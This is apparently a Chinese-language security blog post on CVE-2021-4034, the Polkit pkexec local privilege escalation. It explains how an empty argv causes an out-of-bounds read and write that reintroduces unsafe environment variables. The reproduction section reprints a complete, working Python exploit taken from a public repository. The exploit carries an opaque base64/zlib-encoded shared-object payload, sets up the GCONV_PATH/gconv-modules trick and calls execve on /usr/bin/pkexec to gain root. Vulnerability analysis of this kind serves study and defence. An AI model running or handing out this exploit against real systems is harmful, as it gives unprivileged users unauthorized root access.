CVE-2021-4034 Linux Polkit 权限提升漏洞

一、背景资料

Polkit是一个应用程序级别的工具集，通过定义和审核权限规则，实现不同优先级进程间的通讯：控制决策集中在统一的框架之中，决定低优先级进程是否有权访问高优先级进程。
Polkit在系统层级进行权限控制，提供了一个低优先级进程和高优先级进程进行通讯的系统。和 sudo 等程序不同，Polkit 并没有赋予进程完全的 root 权限，而是通过一个集中的策略系统进行更精细的授权。
Polkit定义出一系列操作，例如运行 GParted, 并将用户按照群组或用户名进行划分，例如 wheel 群组用户。然后定义每个操作是否可以由某些用户执行，执行操作前是否需要一些额外的确认，例如通过输入密码确认用户是不是属于某个群组。
由于Polkit的 Pkexec工具中存在一处本地权限提升漏洞，致使攻击者可以通过控制环境变量，从而诱导Pkexec执行任意代码。利用成功后，可导致非特权用户获得管理员权限。

二、漏洞分析

如果命令行参数argc的数量为 0，这意味着如果传递给execve()的参数列表 argv为空，即 ，那么 argv[0]将为 NULL，是参数列表的终止符，这将导致：
Pkexec代码中第 534 行，整数 n 设置为 1；
第 610 行，从 argv[1] 越界读取指针路径；
第 639 行，指针 s 被越界写入argv[1] ；
但是从这个越界的 argv[1] 中读取和写入的到底是什么呢？
要回答这个问题，我们需要知道的是：当execve() 一个新program时，kernel将我们的参数、环境变量字符串以及指针（argv 和 envp）复制到新program堆栈的末尾，如下图：
由于argv和envp 指针在内存中是连续的，如果 argc 为 0，那么越界argv[1] 实际上是 envp[0]，即为指向我们的第一个环境变量“value”的指针。最终导致：
Pkexec代码中第610行，将要执行的程序的路径从argv[1]（即envp[0]）中越界读取，并指向“value”；
由于“value”不是以斜线开头，因此进入 629 行的if分支，并在第 632 行将这个 “value”传递给 g_find_program_in_path()
随后，g_find_program_in_path() 在PATH 环境变量目录中搜索一个名为“value”的可执行文件。如果找到这样的可执行文件，则将其完整路径返回给 pkexec的 main() 函数。
最后，这个完整路径被越界写入 argv[1]（即 envp[0]），从而覆盖了我们的第一个环境变量，见下图红框处：
所以准确的说：如果我们的 PATH 环境变量是“PATH=name”，并且如果目录“name”存在（在当前工作目录中）并且包含一个名为“value”的可执行文件，则写入一个指向字符串“name/value”的指针越界到 envp[0]；或者说：如果我们的 PATH 是“PATH=name=.”，并且目录是“name=.” 存在并包含一个名为“value”的可执行文件，然后将指向字符串“name=./value”的指针越界写入 envp[0]。
换言之：这种越界写入允许我们将一个“不安全”的环境变量（例如，LD_PRELOAD）重新引入 pkexec 的环境。这些“不安全”变量通常在调用 main() 函数之前已经被ld.so从 SUID 程序的环境中删除。

三、漏洞复现

# https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile



payload = zlib.decompress(
    base64.b64decode(
        """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"""
    )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
    "module  UTF-8//    INTERNAL    ../pwn    2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
    b"gconv",
    b"PATH=GCONV_PATH=.",
    b"LC_MESSAGES=en_US.UTF-8",
    b"XAUTHORITY=../gconv",
    b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

效果

参考资料
https://xw.qq.com/cmsid/20220...
https://mp.weixin.qq.com/s?__...